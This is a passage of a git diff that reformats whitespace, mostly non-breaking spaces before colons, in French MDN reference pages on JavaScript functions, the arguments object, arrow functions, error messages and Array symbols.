fonct - Pour les objets {{jsxref("Array")}} ou {{jsxref("TypedArray")}}, voici les fonctions qui utilisent une fonction en argument : - - {{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}}, {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}} + - {{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}}, {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}} - Pour les objets {{jsxref("Map")}} et {{jsxref("Set")}}, voici les méthodes concernées : diff --git a/files/fr/web/javascript/reference/errors/property_access_denied/index.md b/files/fr/web/javascript/reference/errors/property_access_denied/index.md index 2e8b3fc24d..f420714401 100644 --- a/files/fr/web/javascript/reference/errors/property_access_denied/index.md +++ b/files/fr/web/javascript/reference/errors/property_access_denied/index.md @@ -28,16 +28,16 @@ Il y a eu une tentative d'accès non-autorisée à un objet sur lequel vous n'av ```html <!DOCTYPE html> <html> - <head> - <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe> - <script> - onload = function() { + <head> + <iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"></iframe> + <script> + onload = function() { console.log(frames[0].document); // Error: Permission denied to access property "document" } - </script> - </head> - <body></body> + </script> + </head> + <body></body> </html> ``` diff --git a/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.md b/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.md index aae211ac07..980eab24bb 100644 --- a/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.md +++ b/files/fr/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.md @@ -24,9 +24,9 @@ original_slug: Web/JavaScript/Reference/Erreurs/Reduce_of_empty_array_with_no_in En JavaScript, il existe plusieurs fonctions qui permettent de réduire un tableau : - {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} ainsi que -- {{jsxref("TypedArray.prototype.reduce()")}}, {{jsxref("TypedArray.prototype.reduceRight()")}}). +- {{jsxref("TypedArray.prototype.reduce()")}}, {{jsxref("TypedArray.prototype.reduceRight()")}}). -Ces fonctions utilisent un argument optionnel `valeurInitiale` (qui sera utilisée comme premier argument pour le premier appel du `callback`). Toutefois, si aucune valeur initiale explicite est fournie, la méthode utilisera le premier élément de l'objet {{jsxref("Array")}} / {{jsxref("TypedArray")}} comme valeur initiale. Cette exception est déclenchée lorsqu'on souhaite réduire un tableau vide car aucune valeur initiale n'a été fournie. +Ces fonctions utilisent un argument optionnel `valeurInitiale` (qui sera utilisée comme premier argument pour le premier appel du `callback`). Toutefois, si aucune valeur initiale explicite est fournie, la méthode utilisera le premier élément de l'objet {{jsxref("Array")}} / {{jsxref("TypedArray")}} comme valeur initiale. Cette exception est déclenchée lorsqu'on souhaite réduire un tableau vide car aucune valeur initiale n'a été fournie. ## Exemples diff --git a/files/fr/web/javascript/reference/errors/undefined_prop/index.md b/files/fr/web/javascript/reference/errors/undefined_prop/index.md index 3577d40eb6..992e0b7e1c 100644 --- a/files/fr/web/javascript/reference/errors/undefined_prop/index.md +++ b/files/fr/web/javascript/reference/errors/undefined_prop/index.md @@ -38,7 +38,7 @@ toto.truc; // ReferenceError: reference to undefined property "bar" ### Exemples valides -Pour éviter cette erreur, il faut que `truc` soit une variable « définie » ou vérifier son existence avant de l'utiliser (en utilisant par exemple la méthode {{jsxref("Object.prototype.hasOwnProperty()")}}). +Pour éviter cette erreur, il faut que `truc` soit une variable « définie » ou vérifier son existence avant de l'utiliser (en utilisant par exemple la méthode {{jsxref("Object.prototype.hasOwnProperty()")}}). ```js example-good "use strict"; diff --git a/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.md b/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.md index e6f4715714..f41f43c5ab 100644 --- a/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.md +++ b/files/fr/web/javascript/reference/functions/arguments/@@iterator/index.md @@ -41,8 +41,8 @@ f('w', 'y', 'k', 'o', 'p'); | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-createunmappedargumentsobject', ' CreateUnmappedArgumentsObject')}} | {{Spec2('ES6')}} | Définition initiale. | | {{SpecName('ES6', '#sec-createmappedargumentsobject', ' CreateMappedArgumentsObject')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-createunmappedargumentsobject', 'CreateUnmappedArgumentsObject')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-createmappedargumentsobject', 'CreateMappedArgumentsObject')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/functions/arguments/callee/index.md b/files/fr/web/javascript/reference/functions/arguments/callee/index.md index 3f9e24ec08..bc6a3f6333 100644 --- a/files/fr/web/javascript/reference/functions/arguments/callee/index.md +++ b/files/fr/web/javascript/reference/functions/arguments/callee/index.md @@ -53,7 +53,7 @@ ne fonctionnait pas. Pour que cela puisse fonctionner, on ajouta `arguments.call }); ``` -Cependant, ce fut une mauvaise solution (avec `caller` également) car elle rendit impossible l'[extension inline](https://fr.wikipedia.org/wiki/Extension_inline) et la [récursion terminale](https://fr.wikipedia.org/wiki/R%C3%A9cursion_terminale) de façon générale (il est possible d'y arriver de certaines façons mais cela entraînerait nécessairement un code moins efficace). Le second problème que cela entraîne est que l'appel récursif aura une autre valeur `this` : +Cependant, ce fut une mauvaise solution (avec `caller` également) car elle rendit impossible l'[extension inline](https://fr.wikipedia.org/wiki/Extension_inline) et la [récursion terminale](https://fr.wikipedia.org/wiki/R%C3%A9cursion_terminale) de façon générale (il est possible d'y arriver de certaines façons mais cela entraînerait nécessairement un code moins efficace). Le second problème que cela entraîne est que l'appel récursif aura une autre valeur `this` : ```js var global = this; @@ -133,9 +133,9 @@ jean(); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.2 | -| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/functions/arguments/index.md b/files/fr/web/javascript/reference/functions/arguments/index.md index 84b1939b72..61ba3d40ed 100644 --- a/files/fr/web/javascript/reference/functions/arguments/index.md +++ b/files/fr/web/javascript/reference/functions/arguments/index.md @@ -30,7 +30,7 @@ L'objet **`arguments`** est un objet, **semblable** à un tableau, correspondant L'objet `arguments` est une variable locale (intrinsèque et inhérente aux fonctions) disponible dans toutes les fonctions (qui ne sont pas [des fonctions fléchées](/fr/docs/Web/JavaScript/Reference/Fonctions/Fonctions_fl%C3%A9ch%C3%A9es)). -Vous pouvez accéder aux arguments d'une fonction à l'intérieur de celle-ci en utilisant l'objet `arguments`. Cet objet contient une entrée pour chaque argument passé à la fonction, l'indice de la première entrée commençant à 0. Par exemple, si une fonction est appelée avec trois arguments, on accède à ceux-ci comme suit : +Vous pouvez accéder aux arguments d'une fonction à l'intérieur de celle-ci en utilisant l'objet `arguments`. Cet objet contient une entrée pour chaque argument passé à la fonction, l'indice de la première entrée commençant à 0. Par exemple, si une fonction est appelée avec trois arguments, on accède à ceux-ci comme suit : ```js arguments[0] @@ -38,7 +38,7 @@ arguments[1] arguments[2] ``` -Les arguments peuvent aussi être modifiés : +Les arguments peuvent aussi être modifiés : ```js arguments[1] = 'nouvelle valeur'; @@ -46,7 +46,7 @@ arguments[1] = 'nouvelle valeur'; ### Type de l'objet `arguments` et liens avec `Array` -L'objet `arguments` n'est pas un {{jsxref("Array")}}. Il est similaire à un `Array`, mais il n'a pas les propriétés d'un `Array,` exceptée la propriété {{jsxref("Array.length", "length")}}. Par exemple, il n'a pas la méthode {{jsxref("Array.pop", "pop()")}}. Néanmoins, il peut être converti en un vrai objet de type `Array` : +L'objet `arguments` n'est pas un {{jsxref("Array")}}. Il est similaire à un `Array`, mais il n'a pas les propriétés d'un `Array,` exceptée la propriété {{jsxref("Array.length", "length")}}. Par exemple, il n'a pas la méthode {{jsxref("Array.pop", "pop()")}}. Néanmoins, il peut être converti en un vrai objet de type `Array` : ```js console.log(typeof arguments); // 'object' @@ -73,7 +73,7 @@ var args = [...arguments]; L'objet `arguments` est disponible uniquement dans le corps d'une fonction. Tenter d'accéder à l'objet `arguments` en dehors de la déclaration d'une fonction renvoie une erreur. -Vous pouvez utiliser l'objet `arguments` si vous appelez une fonction avec plus de paramètres que ceux déclarés dans sa signature. Cette technique est utile pour les fonctions qui acceptent un nombre variable d'arguments. Vous pouvez utiliser {{jsxref("Fonctions/arguments/length", "arguments.length")}} pour déterminer le nombre de paramètres passés à la fonction, puis utiliser chaque argument en utilisant l'objet `arguments`. (Pour déterminer le nombre d'arguments déclarés à la définition de la fonction, il faut utiliser la propriété {{jsxref("Function.length", "length")}}.) +Vous pouvez utiliser l'objet `arguments` si vous appelez une fonction avec plus de paramètres que ceux déclarés dans sa signature. Cette technique est utile pour les fonctions qui acceptent un nombre variable d'arguments. Vous pouvez utiliser {{jsxref("Fonctions/arguments/length", "arguments.length")}} pour déterminer le nombre de paramètres passés à la fonction, puis utiliser chaque argument en utilisant l'objet `arguments`. (Pour déterminer le nombre d'arguments déclarés à la définition de la fonction, il faut utiliser la propriété {{jsxref("Function.length", "length")}}.) ### Utiliser `typeof` sur `arguments` @@ -104,7 +104,7 @@ console.log(typeof arguments[0]); // renvoie le type du premier argument ### Définir une fonction de concaténation d'un nombre variable de chaînes -Cet exemple définit une fonction qui concatène un nombre variable de chaînes. Le seul argument formel de la fonction est une chaîne spécifiant un séparateur inséré entre les chaînes concaténées. La fonction est définie comme suit : +Cet exemple définit une fonction qui concatène un nombre variable de chaînes. Le seul argument formel de la fonction est une chaîne spécifiant un séparateur inséré entre les chaînes concaténées. La fonction est définie comme suit : ```js function myConcat(separateur) { @@ -113,7 +113,7 @@ function myConcat(separateur) { } ``` -Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste en utilisant chaque argument comme un élément de la liste. +Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste en utilisant chaque argument comme un élément de la liste. ```js // renvoie "rouge, orange, bleu" @@ -125,7 +125,7 @@ myConcat(" ; ", "elephant", "giraffe", "lion", "guépard"); ### Définir une fonction de création de listes HTML -Cet exemple définit une fonction qui crée des chaînes définissant des listes HTML. Le seul argument formel de la fonction est une chaîne pouvant valoir "`u`" (unordered), si la liste doit être sans numérotation (avec des puces), ou "`o`" (ordered), si la liste doit être numérotée. La fonction est définie comme suit : +Cet exemple définit une fonction qui crée des chaînes définissant des listes HTML. Le seul argument formel de la fonction est une chaîne pouvant valoir "`u`" (unordered), si la liste doit être sans numérotation (avec des puces), ou "`o`" (ordered), si la liste doit être numérotée. La fonction est définie comme suit : ```js function liste(type) { @@ -138,12 +138,12 @@ function liste(type) { } ``` -Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste du type indiqué en ajoutant chaque argument comme élément dans la liste. Exemple : +Vous pouvez passer n'importe quel nombre d'arguments à cette fonction ; elle créera une liste du type indiqué en ajoutant chaque argument comme élément dans la liste. Exemple : ```js var listeHTML = liste("u", "Un", "Deux", "Trois"); -/* listeHTML vaut : +/* listeHTML vaut : "<ul><li>Un</li><li>Deux</li><li>Trois</li></ul>" @@ -222,9 +222,9 @@ func(3, 4); // 3 4 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | --------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée par JavaScript 1.1 | -| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES2015')}} | | -| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES2015')}} | | +| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/functions/arguments/length/index.md b/files/fr/web/javascript/reference/functions/arguments/length/index.md index 7deb32f457..ec6a8df193 100644 --- a/files/fr/web/javascript/reference/functions/arguments/length/index.md +++ b/files/fr/web/javascript/reference/functions/arguments/length/index.md @@ -51,9 +51,9 @@ résultat = somme(103, 104, 105); // renvoie 312 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | --------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée par JavaScript 1.1 | -| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/functions/arrow_functions/index.md b/files/fr/web/javascript/reference/functions/arrow_functions/index.md index c40336f008..e2cf388354 100644 --- a/files/fr/web/javascript/reference/functions/arrow_functions/index.md +++ b/files/fr/web/javascript/reference/functions/arrow_functions/index.md @@ -55,13 +55,13 @@ Une **expression de fonction fléchée** (_arrow function_ en anglais) permet d ## Description -Deux facteurs sont à l’origine de la conception des fonctions fléchées : une syntaxe plus courte et l’absence de `this` spécifique à la fonction. Sur ce dernier point, cela signifie qu’une fonction fléchée ne lie pas son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} au sein de la fonction (il en va de même avec {{jsxref("Fonctions/arguments","arguments")}}, {{jsxref("Opérateurs/super","super")}} ou {{jsxref("Opérateurs/new.target","new.target")}}). +Deux facteurs sont à l’origine de la conception des fonctions fléchées : une syntaxe plus courte et l’absence de `this` spécifique à la fonction. Sur ce dernier point, cela signifie qu’une fonction fléchée ne lie pas son propre {{jsxref("Opérateurs/L_opérateur_this","this")}} au sein de la fonction (il en va de même avec {{jsxref("Fonctions/arguments","arguments")}}, {{jsxref("Opérateurs/super","super")}} ou {{jsxref("Opérateurs/new.target","new.target")}}). > **Note :** Voir aussi l’article sur les fonctions fléchées présent sur <https://tech.mozfr.org/post/2015/06/10/ES6-en-details-%3A-les-fonctions-flechees> (l’article original en anglais est disponible [ici](https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/)). ### Syntaxe plus courte -Pour des aspects fonctionnels, la légèreté de la syntaxe est bienvenue. Par exemple : +Pour des aspects fonctionnels, la légèreté de la syntaxe est bienvenue. Par exemple : ```js var a = [ @@ -106,7 +106,7 @@ function Personne () { var p = new Personne(); ``` -Avec ECMAScript 3/5, ce problème a pu être résolu en affectant la valeur de `this` à une autre variable : +Avec ECMAScript 3/5, ce problème a pu être résolu en affectant la valeur de `this` à une autre variable : ```js function Personne () { @@ -180,7 +180,7 @@ console.log(ajouter.addViaCall(1)); #### Pas de liaison pour `arguments` -Les fonctions fléchées n’exposent pas d’objet [`arguments`](/fr/docs/Web/JavaScript/Reference/Fonctions/arguments) : `arguments.length`, `arguments[0]`, `arguments[1]`, et autres ne font donc pas référence aux arguments passés à la fonction fléchés. Dans ce cas `arguments` est simplement une référence à la variable de même nom si elle est présente dans la portée englobante : +Les fonctions fléchées n’exposent pas d’objet [`arguments`](/fr/docs/Web/JavaScript/Reference/Fonctions/arguments) : `arguments.length`, `arguments[0]`, `arguments[1]`, et autres ne font donc pas référence aux arguments passés à la fonction fléchés. Dans ce cas `arguments` est simplement une référence à la variable de même nom si elle est présente dans la portée englobante : ```js var arguments = [1, 2, 3]; @@ -197,7 +197,7 @@ function toto () { toto(3); // 5 ``` -Les fonctions fléchées n’ont donc pas leur propre objet `arguments`, mais dans la plupart des cas, [les paramètres du reste](/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste) représentent une bonne alternative : +Les fonctions fléchées n’ont donc pas leur propre objet `arguments`, mais dans la plupart des cas, [les paramètres du reste](/fr/docs/Web/JavaScript/Reference/Fonctions/paramètres_du_reste) représentent une bonne alternative : ```js function toto () { @@ -231,7 +231,7 @@ objet.c(); #### Utiliser `prototype` -Les fonctions fléchées ne possèdent pas de prototype : +Les fonctions fléchées ne possèdent pas de prototype : ```js var Toto = () => {}; @@ -266,7 +266,7 @@ var fonction = (x, y) => { return x + y; } ## Renvoyer des littéraux objets -Attention à bien utiliser les parenthèses lorsqu’on souhaite renvoyer des objets avec des littéraux : +Attention à bien utiliser les parenthèses lorsqu’on souhaite renvoyer des objets avec des littéraux : ```js // fonction() renverra undefined ! @@ -276,7 +276,7 @@ var fonction = () => { toto: 1 }; var fonction2 = () => { toto: function () {} }; ``` -En effet, ici, l’analyse de l’expression trouve des blocs d’instructions au lieu de littéraux objets. Pour éviter cet effet indésirable, on pourra encadrer le littéral objet : +En effet, ici, l’analyse de l’expression trouve des blocs d’instructions au lieu de littéraux objets. Pour éviter cet effet indésirable, on pourra encadrer le littéral objet : ```js var fonction = () => ({ toto: 1 }); @@ -294,7 +294,7 @@ var func = () ## Ordre syntaxique -La flèche utilisée pour une fonction fléchée n’est pas un opérateur. Les fonctions fléchées ont des règles spécifiques quant à leur place dans la syntaxe et interagissent différemment de la précédence des opérateurs par rapport à une fonction classique : +La flèche utilisée pour une fonction fléchée n’est pas un opérateur. Les fonctions fléchées ont des règles spécifiques quant à leur place dans la syntaxe et interagissent différemment de la précédence des opérateurs par rapport à une fonction classique : ```js let fonctionRappel; @@ -374,4 +374,4 @@ setTimeout( () => { ## Voir aussi -- L’article sur les fonctions fléchées présent sur [https ://tech.mozfr.org](https://tech.mozfr.org) (l’article original en anglais est disponible [ici](https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/)). +- L’article sur les fonctions fléchées présent sur [https ://tech.mozfr.org](https://tech.mozfr.org) (l’article original en anglais est disponible [ici](https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/)). diff --git a/files/fr/web/javascript/reference/functions/default_parameters/index.md b/files/fr/web/javascript/reference/functions/default_parameters/index.md index 92a5187cf6..cdbd9e84d8 100644 --- a/files/fr/web/javascript/reference/functions/default_parameters/index.md +++ b/files/fr/web/javascript/reference/functions/default_parameters/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Fonctions/Valeurs_par_défaut_des_argume --- {{jsSidebar("Functions")}} -Cette syntaxe permet d'initialiser des paramètres lors de l'appel de la fonction si aucune valeur n'est passée ou si c'est la valeur {{jsxref("undefined")}} qui est passée. +Cette syntaxe permet d'initialiser des paramètres lors de l'appel de la fonction si aucune valeur n'est passée ou si c'est la valeur {{jsxref("undefined")}} qui est passée. {{EmbedInteractiveExample("pages/js/functions-default.html")}} diff --git a/files/fr/web/javascript/reference/functions/index.md b/files/fr/web/javascript/reference/functions/index.md index 5e00f3541e..bd7590fce8 100644 --- a/files/fr/web/javascript/reference/functions/index.md +++ b/files/fr/web/javascript/reference/functions/index.md @@ -99,7 +99,7 @@ var maFonction = function() { } ``` -Il est également possible de fournir un nom lors de la définition afin de créer une expression de fonction **nommée** : +Il est également possible de fournir un nom lors de la définition afin de créer une expression de fonction **nommée** : ```js var maFonction = function fonctionNommée(){ @@ -126,7 +126,7 @@ Les _IIFE_ sont des expressions de fonction appelées dès que la fonction est d Il existe une syntaxe spéciale pour déclarer des générateurs (voir la page sur l'instruction {{jsxref('Instructions/function*', 'function*')}} pour plus de détails) : function* nom([param[, param[, ... param]]]) { - instructions + instructions } - `nom` @@ -141,7 +141,7 @@ Il existe une syntaxe spéciale pour déclarer des générateurs (voir la page s Une expression de générateur est similaire à une déclaration de fonction génératrice et possède presque la même syntaxe (pour plus de détails, consulter la page sur l'expression {{jsxref('Opérateurs/function*', 'function*')}}) : function* [nom]([param[, param[, ... param]]]) { - instructions + instructions } - `nom` @@ -162,7 +162,7 @@ Une expression de fonction fléchée possède une syntaxe plus courte et est li param => expression - `param` - - : Le nom d'un argument. S'il n'y a pas d'arguments, cela doit être indiqué par `()`. S'il y a un seul argument, les parenthèses ne sont pas obligatoires (par exemple : `toto => 1`). + - : Le nom d'un argument. S'il n'y a pas d'arguments, cela doit être indiqué par `()`. S'il y a un seul argument, les parenthèses ne sont pas obligatoires (par exemple : `toto => 1`). - `instructions` ou `expression` - : S'il y a plusieurs instructions, elles doivent être encadrées par des accolades. Une expression unique ne doit pas obligatoirement être entourée d'accolades. L'expression est également la valeur de retour implicite de la fonction. @@ -358,7 +358,7 @@ Cela n'est pas différent du stockage de références avec d'autres objets, mais ### Imbrication multiple de fonctions -On peut imbriquer plusieurs fonctions : une fonction (A) contien une fonction (B) qui contient une fonction (C). Ici les fonctions B et C forment des fermetures et aisni B peut accéder à A et C peut accéder à B. On peut donc en déduire, puisque C accède à B qui accède à A que C peut accéder à A. On voit donc que les fermetures peuvent contenir différentes portées. Elles peuvent, récursivement, contenir la portée des fonctions qui la contiennent. Ce mécanisme est appelé « chaînage de portée » (_scope chaining_ en anglais). (Cette dénomination sera expliquée par la suite.) +On peut imbriquer plusieurs fonctions : une fonction (A) contien une fonction (B) qui contient une fonction (C). Ici les fonctions B et C forment des fermetures et aisni B peut accéder à A et C peut accéder à B. On peut donc en déduire, puisque C accède à B qui accède à A que C peut accéder à A. On voit donc que les fermetures peuvent contenir différentes portées. Elles peuvent, récursivement, contenir la portée des fonctions qui la contiennent. Ce mécanisme est appelé « chaînage de portée » (_scope chaining_ en anglais). (Cette dénomination sera expliquée par la suite.) On peut l'observer avec l'exemple suivant : @@ -379,7 +379,7 @@ Dans cet exemple, C accède à la variable y de B et à la variable x de A. Cela 1. `B` est une fermeture qui contient `A`, autrement dit `B` peut accéder aux arguments et aux variables de `A` 2. `C` est une fermeture qui contient `B` -3. Étant donné que la fermeture de `B` contient `A` et que celle de `C` contient `B`, `C` peut accéder à la fois aux arguments et variables de `B` _et_ `A`. Autrement dit, `C` *enchaîne les portées de* `B` et `A` dans cet ordre. +3. Étant donné que la fermeture de `B` contient `A` et que celle de `C` contient `B`, `C` peut accéder à la fois aux arguments et variables de `B` _et_ `A`. Autrement dit, `C` *enchaîne les portées de* `B` et `A` dans cet ordre. La réciproque n'est pas vraie. `A` ne peut avoir accès à `C`, parce que `A` ne peut accéder ni aux variables ni aux arguments de `B`, or `C` est une variable de `B. C` est donc privé et seulement pour `B`. @@ -398,7 +398,7 @@ function externe() { resultat = externe()(20); // renvoie 20 et non pas 10 ``` -Le conflit de nom apparaît avec l'instruction `return x` et vient de la dénomination commune de l'argument `x` de la fonction `interne` et la variable `x` de la fonction `externe`. La chaîne de portée est, pour cet exemple : {`interne`, `externe`, objet globalt}. On voit alors que le `x` de la fonction interne l'emporte sur le `x` de la fonction externe. 20 (`x` de la fonction `interne`) est donc renvoyé plutôt que 10 (`x` de la fonction `externe`). +Le conflit de nom apparaît avec l'instruction `return x` et vient de la dénomination commune de l'argument `x` de la fonction `interne` et la variable `x` de la fonction `externe`. La chaîne de portée est, pour cet exemple : {`interne`, `externe`, objet globalt}. On voit alors que le `x` de la fonction interne l'emporte sur le `x` de la fonction externe. 20 (`x` de la fonction `interne`) est donc renvoyé plutôt que 10 (`x` de la fonction `externe`). ## Définition des méthodes @@ -418,7 +418,7 @@ Avec ECMAScript 2015, il est possible de définir des méthodes de façon plus c ```js var obj = { toto() {}, - truc() {} + truc() {} }; ``` diff --git a/files/fr/web/javascript/reference/functions/method_definitions/index.md b/files/fr/web/javascript/reference/functions/method_definitions/index.md index a0e36dc8e0..2ee809f6eb 100644 --- a/files/fr/web/javascript/reference/functions/method_definitions/index.md +++ b/files/fr/web/javascript/reference/functions/method_definitions/index.md @@ -60,7 +60,7 @@ var obj = { toto() { /* du code */ }, - truc() { + truc() { /* du code */ } }; @@ -192,7 +192,7 @@ console.log(bar.toto2()); // 2 | ------------------------------------------------------------------------------------------------ | ---------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------ | | {{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}} | {{Spec2('ES2015')}} | Définition initiale. | | {{SpecName('ES2016', '#sec-method-definitions', 'Method definitions')}} | {{Spec2('ES2016')}} | Les méthodes génératrices ne doivent pas implémenter la trappe [[Construct]] et déclencher une exception lorsqu'elles sont utilisées avec `new`. | -| {{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.md b/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.md index c2ae826291..3614dafe3f 100644 --- a/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/@@iterator/index.md @@ -56,7 +56,7 @@ console.log(eArr.next().value); // p | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-array.prototype-@@iterator', 'Array.prototype[@@iterator]()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/@@species/index.md b/files/fr/web/javascript/reference/global_objects/array/@@species/index.md index 1a4970e0f7..290c2cbd51 100644 --- a/files/fr/web/javascript/reference/global_objects/array/@@species/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/@@species/index.md @@ -34,7 +34,7 @@ La propriété renvoie le constructeur par défaut, dans le cas des objets `Arra Array[Symbol.species]; // function Array() ``` -Pour un objet dérivé, la valeur de `species` pour une classe `MonArray` sera le constructeur de cette classe. Vous pouvez surcharger ce comportement afin de renvoyer le constructeur `Array` : +Pour un objet dérivé, la valeur de `species` pour une classe `MonArray` sera le constructeur de cette classe. Vous pouvez surcharger ce comportement afin de renvoyer le constructeur `Array` : ```js class MonArray extends Array { @@ -49,7 +49,7 @@ class MonArray extends Array { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-array-@@species', 'get Array [ @@species ]')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-array-@@species', 'get Array [ @@species ]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.md b/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.md index 0b5f7a4aee..196255fa0a 100644 --- a/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.md +++ b/files/fr/web/javascript/reference/global_objects/array/@@unscopables/index.md @@ -20,7 +20,7 @@ La propriété symbol **`@@unscopable`** contient les noms des propriétés qui ## Description -Les propriétés natives d'un objet `Array` qui sont exclues lorsqu'on utilise `with` sont `copyWithin`, `entries`, `fill`, `find`, `findIndex`, `includes`, `keys` et `values`. +Les propriétés natives d'un objet `Array` qui sont exclues lorsqu'on utilise `with` sont `copyWithin`, `entries`, `fill`, `find`, `findIndex`, `includes`, `keys` et `values`. Voir la page sur le symbole {{jsxref("Symbol.unscopables")}} pour manipuler `unscopables` sur des objets personnalisés. @@ -28,7 +28,7 @@ Voir la page sur le symbole 